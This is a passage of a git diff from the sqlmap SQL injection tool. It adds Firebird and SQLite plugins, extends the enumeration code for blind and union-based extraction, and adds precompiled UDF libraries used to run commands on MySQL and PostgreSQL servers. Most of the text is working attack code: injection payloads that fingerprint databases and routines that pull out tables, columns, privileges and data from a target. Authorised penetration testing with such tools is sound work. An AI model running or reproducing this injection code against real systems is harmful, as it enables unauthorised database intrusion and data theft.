"Unenclosed ) in '%s'" % expression + + lastIndex = firstIndex + index + 1 + old = expression[firstIndex:lastIndex] + oldUpper = old.upper() + oldUpper = oldUpper.lstrip("ASCII_CHAR(").rstrip(")") + oldUpper = oldUpper.split("||") + + escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper]) + expression = expression.replace(old, escaped).replace("'||'", "") + + return expression + + def getFingerprint(self): + value = "" + wsOsFp = formatFingerprint("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += "Firebird" + return value + + actVer = formatDBMSfp() + " (%s)" % (self.__dialectCheck()) + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp["dbmsVersion"] + + if re.search("-log$", kb.data.banner): + banVer += ", logging enabled" + + banVer = formatDBMSfp([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = getHtmlErrorFp() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def __sysTablesCheck(self): + retVal = None + table = ( + ("1.0", [" AND EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)"]), + ("1.5", [" AND NULLIF(%d,%d) IS NULL", " AND EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)"]), + ("2.0", [" AND EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", " AND BIT_LENGTH(%d)>0", " AND CHAR_LENGTH(%d)>0"]), + ("2.1", [" AND BIN_XOR(%d,%d)=0", " AND PI()>0.%d", " AND RAND()<1.%d", " AND FLOOR(1.%d)>=0"]) + ) + + for i in xrange(len(table)): + version, checks = table[i] + failed = False + check = checks[randomRange(0,len(checks)-1)].replace("%d", str(randomRange(1,100))) + payload = agent.fullPayload(check) + result = Request.queryPage(payload) + if result: + retVal = version + else: + failed = True + break + if failed: + break + + return retVal + + def __dialectCheck(self): + retVal = None + if kb.dbms: + payload = agent.fullPayload(" AND EXISTS(SELECT CURRENT_DATE FROM RDB$DATABASE)") + result = Request.queryPage(payload) + retVal = "dialect 3" if result else "dialect 1" + return retVal + + def checkDbms(self): + if conf.dbms in FIREBIRD_ALIASES: + setDbms("Firebird") + + self.getBanner() + + if not conf.extensiveFp: + return True + + logMsg = "testing Firebird" + logger.info(logMsg) + + randInt = randomInt() + + payload = agent.fullPayload(" AND EXISTS(SELECT * FROM RDB$DATABASE WHERE %d=%d)" % (randInt, randInt)) + result = Request.queryPage(payload) + + if result: + logMsg = "confirming Firebird" + logger.info(logMsg) + + payload = agent.fullPayload(" AND EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)") + result = Request.queryPage(payload) + + if not result: + warnMsg = "the back-end DMBS is not Firebird" + logger.warn(warnMsg) + + return False + + setDbms("Firebird") + + self.getBanner() + + if not conf.extensiveFp: + return True + + kb.dbmsVersion = [self.__sysTablesCheck()] + + return True + else: + warnMsg = "the back-end DMBS is not Firebird" + logger.warn(warnMsg) + + return False + + def getDbs(self): + warnMsg = "on Firebird it is not possible to enumerate databases" + logger.warn(warnMsg) + + return [] + + def getPasswordHashes(self): + warnMsg = "on Firebird it is not possible to enumerate the user password hashes" + logger.warn(warnMsg) + + return {} + + def readFile(self, rFile): + errMsg = "on Firebird it is not possible to read files" + raise sqlmapUnsupportedFeatureException, errMsg + + def writeFile(self, wFile, dFile, fileType=None, confirm=True): + errMsg = "on Firebird it is not possible to write files" + raise sqlmapUnsupportedFeatureException, errMsg + + def osCmd(self): + errMsg = "on Firebird it is not possible to execute commands" + raise sqlmapUnsupportedFeatureException, errMsg + + def osShell(self): + errMsg = "on Firebird it is not possible to execute commands" + raise sqlmapUnsupportedFeatureException, errMsg + + def osPwn(self): + errMsg = "on Firebird it is not possible to establish an " + errMsg += "out-of-band connection" + raise sqlmapUnsupportedFeatureException, errMsg + + def osSmb(self): + errMsg = "on Firebird it is not possible to establish an " + errMsg += "out-of-band connection" + raise sqlmapUnsupportedFeatureException, errMsg + + def forceDbmsEnum(self): + conf.db = "Firebird" \ No newline at end of file diff --git a/plugins/dbms/mysql.py b/plugins/dbms/mysql.py index 16ab89776..2c9f2e4da 100644 --- a/plugins/dbms/mysql.py +++ b/plugins/dbms/mysql.py @@ -540,10 +540,10 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): self.udfSharedLibName = "libs%s" % randomStr(lowercase=True) if kb.os == "Windows": - self.udfLocalFile += "/mysql/windows/lib_mysqludf_sys.dll" + self.udfLocalFile += "/mysql/windows/32/lib_mysqludf_sys.dll" self.udfSharedLibExt = "dll" else: - self.udfLocalFile += "/mysql/linux/lib_mysqludf_sys.so" + self.udfLocalFile += "/mysql/linux/32/lib_mysqludf_sys.so" self.udfSharedLibExt = "so" def udfCreateFromSharedLib(self, udf, inpRet): diff --git a/plugins/dbms/postgresql.py b/plugins/dbms/postgresql.py index 68f692ebe..0e87425b4 100644 --- a/plugins/dbms/postgresql.py +++ b/plugins/dbms/postgresql.py @@ -412,10 +412,10 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove raise sqlmapUnsupportedFeatureException, errMsg if kb.os == "Windows": - self.udfLocalFile += "/postgresql/windows/%s/lib_postgresqludf_sys.dll" % majorVer + self.udfLocalFile += "/postgresql/windows/32/%s/lib_postgresqludf_sys.dll" % majorVer self.udfSharedLibExt = "dll" else: - self.udfLocalFile += "/postgresql/linux/%s/lib_postgresqludf_sys.so" % majorVer + self.udfLocalFile += "/postgresql/linux/32/%s/lib_postgresqludf_sys.so" % majorVer self.udfSharedLibExt = "so" def udfCreateFromSharedLib(self, udf, inpRet): diff --git a/plugins/dbms/sqlite.py b/plugins/dbms/sqlite.py new file mode 100644 index 000000000..19d3573d3 --- /dev/null +++ b/plugins/dbms/sqlite.py @@ -0,0 +1,294 @@ +#!/usr/bin/env python + +""" +$Id: oracle.py 1003 2010-01-02 02:02:12Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +import re + +from lib.core.agent import agent +from lib.core.common import formatDBMSfp +from lib.core.common import formatFingerprint +from lib.core.common import getHtmlErrorFp +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.exception import sqlmapSyntaxException +from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.session import setDbms +from lib.core.settings import SQLITE_ALIASES +from lib.core.settings import SQLITE_SYSTEM_DBS +from lib.core.unescaper import unescaper +from lib.request import inject +from lib.request.connect import Connect as Request + +from plugins.generic.enumeration import Enumeration +from plugins.generic.filesystem import Filesystem +from plugins.generic.fingerprint import Fingerprint +from plugins.generic.misc import Miscellaneous +from plugins.generic.takeover import Takeover + + +class SQLiteMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines SQLite methods + """ + + def __init__(self): + self.excludeDbsList = SQLITE_SYSTEM_DBS + + Enumeration.__init__(self, "SQLite") + Filesystem.__init__(self) + Takeover.__init__(self) + + unescaper.setUnescape(SQLiteMap.unescape) + + @staticmethod + def unescape(expression, quote=True): + # The following is not supported on SQLite 2 + return expression + + if quote: + expression = expression.replace("'", "''") + while True: + index = expression.find("''") + if index == -1: + break + + firstIndex = index + 2 + index = expression[firstIndex:].find("''") + + if index == -1: + raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression.replace("''", "'") + + lastIndex = firstIndex + index + old = "''%s''" % expression[firstIndex:lastIndex] + unescaped = "" + + for i in range(firstIndex, lastIndex): + unescaped += "X'%x'" % ord(expression[i]) + if i < lastIndex - 1: + unescaped += "||" + + #unescaped += ")" + expression = expression.replace(old, unescaped) + expression = expression.replace("''", "'") + else: + expression = "||".join("X'%x" % ord(c) for c in expression) + + return expression + + @staticmethod + def escape(expression): + # Example on SQLite 3, not supported on SQLite 2: + # select X'48'||X'656c6c6f20576f726c6400'; -- Hello World + while True: + index = expression.find("X'") + if index == -1: + break + + firstIndex = index + index = expression[firstIndex+2:].find("'") + + if index == -1: + raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression + + lastIndex = firstIndex + index + 3 + old = expression[firstIndex:lastIndex] + oldUpper = old.upper() + oldUpper = oldUpper.replace("X'", "").replace("'", "") + + for i in xrange(len(oldUpper)/2): + char = oldUpper[i*2:i*2+2] + escaped = "'%s'" % chr(int(char, 16)) + expression = expression.replace(old, escaped) + + return expression + + def getFingerprint(self): + value = "" + wsOsFp = formatFingerprint("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += "SQLite" + return value + + actVer = formatDBMSfp() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp["dbmsVersion"] + banVer = formatDBMSfp([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = getHtmlErrorFp() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + """ + References for fingerprint: + + * http://www.sqlite.org/lang_corefunc.html + * http://www.sqlite.org/cvstrac/wiki?p=LoadableExtensions + """ + + if conf.dbms in SQLITE_ALIASES: + setDbms("SQLite") + + self.getBanner() + + if not conf.extensiveFp: + return True + + logMsg = "testing SQLite" + logger.info(logMsg) + + payload = agent.fullPayload(" AND LAST_INSERT_ROWID()=LAST_INSERT_ROWID()") + result = Request.queryPage(payload) + + if result: + logMsg = "confirming SQLite" + logger.info(logMsg) + + payload = agent.fullPayload(" AND SQLITE_VERSION()=SQLITE_VERSION()") + result = Request.queryPage(payload) + + if not result: + warnMsg = "the back-end DMBS is not SQLite" + logger.warn(warnMsg) + + return False + + setDbms("SQLite") + + self.getBanner() + + if not conf.extensiveFp: + return True + + version = inject.getValue("SUBSTR((SQLITE_VERSION()), 1, 1)", unpack=False, charsetType=2) + kb.dbmsVersion = [ version ] + + return True + else: + warnMsg = "the back-end DMBS is not SQLite" + logger.warn(warnMsg) + + return False + + def forceDbmsEnum(self): + conf.db = "SQLite" + + def getCurrentUser(self): + warnMsg = "on SQLite it is not possible to enumerate the current user" + logger.warn(warnMsg) + + def getCurrentDb(self): + warnMsg = "on SQLite it is not possible to enumerate the current database" + logger.warn(warnMsg) + + def isDba(self): + warnMsg = "on SQLite the current user has all privileges" + logger.warn(warnMsg) + + def getUsers(self): + warnMsg = "on SQLite it is not possible to enumerate the users" + logger.warn(warnMsg) + + return [] + + def getPasswordHashes(self): + warnMsg = "on SQLite it is not possible to enumerate the user password hashes" + logger.warn(warnMsg) + + return {} + + def getPrivileges(self): + warnMsg = "on SQLite it is not possible to enumerate the user privileges" + logger.warn(warnMsg) + + return {} + + def getDbs(self): + warnMsg = "on SQLite it is not possible to enumerate databases" + logger.warn(warnMsg) + + return [] + + def getColumns(self, onlyColNames=False): + errMsg = "on SQLite it is not possible to enumerate database " + errMsg += "table columns" + + if conf.dumpTable or conf.dumpAll: + errMsg += ", provide them with -C option" + raise sqlmapUnsupportedFeatureException, errMsg + + logger.warn(errMsg) + + def dumpColumn(self): + errMsg = "on SQLite you must specify the table and columns to dump" + raise sqlmapUnsupportedFeatureException, errMsg + + def dumpAll(self): + errMsg = "on SQLite you must specify the table and columns to dump" + raise sqlmapUnsupportedFeatureException, errMsg + + def readFile(self, rFile): + errMsg = "on SQLite it is not possible to read files" + raise sqlmapUnsupportedFeatureException, errMsg + + def writeFile(self, wFile, dFile, fileType=None, confirm=True): + errMsg = "on SQLite it is not possible to write files" + raise sqlmapUnsupportedFeatureException, errMsg + + def osCmd(self): + errMsg = "on SQLite it is not possible to execute commands" + raise sqlmapUnsupportedFeatureException, errMsg + + def osShell(self): + errMsg = "on SQLite it is not possible to execute commands" + raise sqlmapUnsupportedFeatureException, errMsg + + def osPwn(self): + errMsg = "on SQLite it is not possible to establish an " + errMsg += "out-of-band connection" + raise sqlmapUnsupportedFeatureException, errMsg + + def osSmb(self): + errMsg = "on SQLite it is not possible to establish an " + errMsg += "out-of-band connection" + raise sqlmapUnsupportedFeatureException, errMsg diff --git a/plugins/generic/enumeration.py b/plugins/generic/enumeration.py index fead5f8f0..348d9ab16 100644 --- a/plugins/generic/enumeration.py +++ b/plugins/generic/enumeration.py @@ -68,9 +68,6 @@ class Enumeration: temp.inference = queries[dbms].inference - def forceDbmsEnum(self): - pass - def getVersionFromBanner(self): if "dbmsVersion" in kb.bannerFp: return @@ -405,6 +402,15 @@ class Enumeration: ( 2, "super" ), ( 3, "catupd" ), ) + + firebirdPrivs = { + "S": "SELECT", + "I": "INSERT", + "U": "UPDATE", + "D": "DELETE", + "R": "REFERENCES", + "E": "EXECUTE" + } if kb.unionPosition: if kb.dbms == "MySQL" and not kb.data.has_information_schema: @@ -564,6 +570,8 @@ class Enumeration: query = rootQuery["blind"]["query2"] % (queryUser, index) elif kb.dbms == "MySQL" and kb.data.has_information_schema: query = rootQuery["blind"]["query"] % (conditionChar, queryUser, index) + elif kb.dbms == "Firebird": + query = rootQuery["blind"]["query"] % (index, queryUser) else: query = rootQuery["blind"]["query"] % (queryUser, index) privilege = inject.getValue(query, inband=False) @@ -602,6 +610,8 @@ class Enumeration: privileges.add(mysqlPriv) i += 1 + elif kb.dbms == "Firebird": + privileges.add(firebirdPrivs[privilege.strip()]) if self.__isAdminFromPrivileges(privileges): areAdmins.add(user) @@ -701,7 +711,7 @@ class Enumeration: query = rootQuery["inband"]["query"] condition = rootQuery["inband"]["condition"] - if conf.db: + if conf.db and kb.dbms != "SQLite": if "," in conf.db: dbs = conf.db.split(",") query += " WHERE " @@ -717,6 +727,17 @@ class Enumeration: value = inject.getValue(query, blind=False) if value: + if kb.dbms == "SQLite": + if isinstance(value, str): + value = [[ "SQLite", value ]] + elif isinstance(value, (list, tuple, set)): + newValue = [] + + for v in value: + newValue.append([ "SQLite", v]) + + value = newValue + for db, table in value: if not kb.data.cachedTables.has_key(db): kb.data.cachedTables[db] = [table] @@ -746,7 +767,10 @@ class Enumeration: infoMsg += "database '%s'" % db logger.info(infoMsg) - query = rootQuery["blind"]["count"] % db + if kb.dbms in ("SQLite", "Firebird"): + query = rootQuery["blind"]["count"] + else: + query = rootQuery["blind"]["count"] % db count = inject.getValue(query, inband=False, expected="int", charsetType=2) if not count.isdigit() or not len(count) or count == "0": @@ -755,7 +779,7 @@ class Enumeration: logger.warn(warnMsg) continue - tables = [] + tables = [] if kb.dbms in ( "Microsoft SQL Server", "Oracle" ): plusOne = True @@ -764,7 +788,10 @@ class Enumeration: indexRange = getRange(count, plusOne=plusOne) for index in indexRange: - query = rootQuery["blind"]["query"] % (db, index) + if kb.dbms in ("SQLite", "Firebird"): + query = rootQuery["blind"]["query"] % index + else: + query = rootQuery["blind"]["query"] % (db, index) table = inject.getValue(query, inband=False) tables.append(table) @@ -803,6 +830,23 @@ class Enumeration: logger.warn(warnMsg) conf.db = self.getCurrentDb() + + firebirdTypes = { + "261":"BLOB", + "14":"CHAR", + "40":"CSTRING", + "11":"D_FLOAT", + "27":"DOUBLE", + "10":"FLOAT", + "16":"INT64", + "8":"INTEGER", + "9":"QUAD", + "7":"SMALLINT", + "12":"DATE", + "13":"TIME", + "35":"TIMESTAMP", + "37":"VARCHAR" + } rootQuery = queries[kb.dbms].columns condition = rootQuery["blind"]["condition"] @@ -863,6 +907,9 @@ class Enumeration: elif kb.dbms == "Microsoft SQL Server": query = rootQuery["blind"]["count"] % (conf.db, conf.db, conf.tbl) query += condQuery.replace("[DB]", conf.db) + elif kb.dbms == "Firebird": + query = rootQuery["blind"]["count"] % (conf.tbl) + query += condQuery count = inject.getValue(query, inband=False, expected="int", charsetType=2) @@ -893,6 +940,10 @@ class Enumeration: conf.tbl) query += condQuery.replace("[DB]", conf.db) field = condition.replace("[DB]", conf.db) + elif kb.dbms == "Firebird": + query = rootQuery["blind"]["query"] % (conf.tbl) + query += condQuery + field = None query = agent.limitQuery(index, query, field) column = inject.getValue(query, inband=False) @@ -906,8 +957,14 @@ class Enumeration: query = rootQuery["blind"]["query2"] % (conf.db, conf.db, conf.db, conf.db, column, conf.db, conf.db, conf.db, conf.tbl) + elif kb.dbms == "Firebird": + query = rootQuery["blind"]["query2"] % (conf.tbl, column) colType = inject.getValue(query, inband=False) + + if kb.dbms == "Firebird": + colType = firebirdTypes[colType] if colType in firebirdTypes else colType + columns[column] = colType else: columns[column] = None @@ -1278,6 +1335,8 @@ class Enumeration: if kb.unionPosition: if kb.dbms == "Oracle": query = rootQuery["inband"]["query"] % (colString, conf.tbl.upper()) + elif kb.dbms == "SQLite": + query = rootQuery["inband"]["query"] % (colString, conf.tbl) else: query = rootQuery["inband"]["query"] % (colString, conf.db, conf.tbl) entries = inject.getValue(query, blind=False) @@ -1321,6 +1380,8 @@ class Enumeration: if kb.dbms == "Oracle": query = rootQuery["blind"]["count"] % conf.tbl.upper() + elif kb.dbms == "SQLite": + query = rootQuery["blind"]["count"] % conf.tbl else: query = rootQuery["blind"]["count"] % (conf.db, conf.tbl) count = inject.getValue(query, inband=False, expected="int", charsetType=2) @@ -1336,8 +1397,8 @@ class Enumeration: return None - lengths = {} - entries = {} + lengths = {} + entries = {} if kb.dbms == "Oracle": plusOne = True @@ -1365,6 +1426,8 @@ class Enumeration: conf.tbl, column, index, column, conf.db, conf.tbl) + elif kb.dbms == "SQLite": + query = rootQuery["blind"]["query"] % (column, conf.tbl, index) value = inject.getValue(query, inband=False) diff --git a/plugins/generic/fingerprint.py b/plugins/generic/fingerprint.py index 6bf680765..ea8d463d5 100644 --- a/plugins/generic/fingerprint.py +++ b/plugins/generic/fingerprint.py @@ -50,3 +50,6 @@ class Fingerprint: errMsg = "'checkDbms' method must be defined " errMsg += "into the specific DBMS plugin" raise sqlmapUndefinedMethod, errMsg + + def forceDbmsEnum(self): + pass diff --git a/udf/mysql/linux/32/lib_mysqludf_sys.so b/udf/mysql/linux/32/lib_mysqludf_sys.so new file mode 100644 index 000000000..151e622c2 Binary files /dev/null and b/udf/mysql/linux/32/lib_mysqludf_sys.so differ diff --git a/udf/mysql/linux/64/lib_mysqludf_sys.so b/udf/mysql/linux/64/lib_mysqludf_sys.so new file mode 100644 index 000000000..ea31ae55d Binary files /dev/null and b/udf/mysql/linux/64/lib_mysqludf_sys.so differ diff --git a/udf/mysql/windows/32/lib_mysqludf_sys.dll b/udf/mysql/windows/32/lib_mysqludf_sys.dll new file mode 100644 index 000000000..0ea90105d Binary files /dev/null and b/udf/mysql/windows/32/lib_mysqludf_sys.dll differ diff --git a/udf/mysql/windows/64/lib_mysqludf_sys.dll b/udf/mysql/windows/64/lib_mysqludf_sys.dll new file mode 100644 index 000000000..3de734fc9 Binary files /dev/null and b/udf/mysql/windows/64/lib_mysqludf_sys.dll differ diff --git a/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so b/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so new file mode 100644 index 000000000..3492fb662 Binary files /dev/null and b/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so differ diff --git a/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so b/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so new file mode 100755 index 000000000..30f45fd54 Binary files /dev/null and b/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so differ diff --git a/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so b/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so new file mode 100755 index 000000000..d5c13a404 Binary files /dev/null and b/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so differ diff --git a/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so b/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so new file mode 100755 index 000000000..6cf12fffa Binary files /dev/null and b/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so differ diff --git a/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so b/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so new file mode 100755 index 000000000..81ef75679 Binary files /dev/null and b/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so differ diff --git a/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so b/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so new file mode 100755 index 000000000..5ee846317 Binary files /dev/null and b/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so differ diff --git a/udf/postgresql/linux/8.2/lib_postgresqludf_sys.so b/udf/postgresql/linux/8.2/lib_postgresqludf_sys.so deleted file mode 100644 index 55f743984..000000000 Binary files a/udf/postgresql/linux/8.2/lib_postgresqludf_sys.so and /dev/null differ diff --git a/udf/postgresql/linux/8.3/lib_postgresqludf_sys.so b/udf/postgresql/linux/8.3/lib_postgresqludf_sys.so deleted file mode 100755 index eb1a6b333..000000000 Binary files a/udf/postgresql/linux/8.3/lib_postgresqludf_sys.so and /dev/null differ diff --git a/udf/postgresql/linux/8.4/lib_postgresqludf_sys.so b/udf/postgresql/linux/8.4/lib_postgresqludf_sys.so deleted file mode 100755 index 6b1dccb56..000000000 Binary files a/udf/postgresql/linux/8.4/lib_postgresqludf_sys.so and /dev/null differ diff --git a/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll b/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll new file mode 100755 index 000000000..342d45a08 Binary files /dev/null and b/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll differ diff --git a/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll b/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll new file mode 100755 index 000000000..9113b56c2 Binary files /dev/null and b/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll differ diff --git a/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll b/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll new file mode 100755 index 000000000..43ba07ad6 Binary files /dev/null and b/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll differ diff --git a/udf/postgresql/windows/8.2/lib_postgresqludf_sys.dll b/udf/postgresql/windows/8.2/lib_postgresqludf_sys.dll deleted file mode 100755 index 30a729d84..000000000 Binary files a/udf/postgresql/windows/8.2/lib_postgresqludf_sys.dll and /dev/null differ diff --git a/udf/postgresql/windows/8.3/lib_postgresqludf_sys.dll b/udf/postgresql/windows/8.3/lib_postgresqludf_sys.dll deleted file mode 100755 index 1a47a7139..000000000 Binary files a/udf/postgresql/windows/8.3/lib_postgresqludf_sys.dll and /dev/null differ diff --git a/udf/postgresql/windows/8.4/lib_postgresqludf_sys.dll b/udf/postgresql/windows/8.4/lib_postgresqludf_sys.dll deleted file mode 100755 index 79ae02106..000000000 Binary files a/udf/postgresql/windows/8.4/lib_postgresqludf_sys.dll and /dev/null differ diff --git a/xml/errors.xml b/xml/errors.xml index 380ce8482..82cdbc2fb 100644 --- a/xml/errors.xml +++ b/xml/errors.xml @@ -30,6 +30,7 @@ + @@ -57,9 +58,17 @@ - - + + + + + + + + + + diff --git a/xml/queries.xml b/xml/queries.xml index 2c40386b3..1b476aa51 100644 --- a/xml/queries.xml +++ b/xml/queries.xml @@ -236,4 +236,115 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +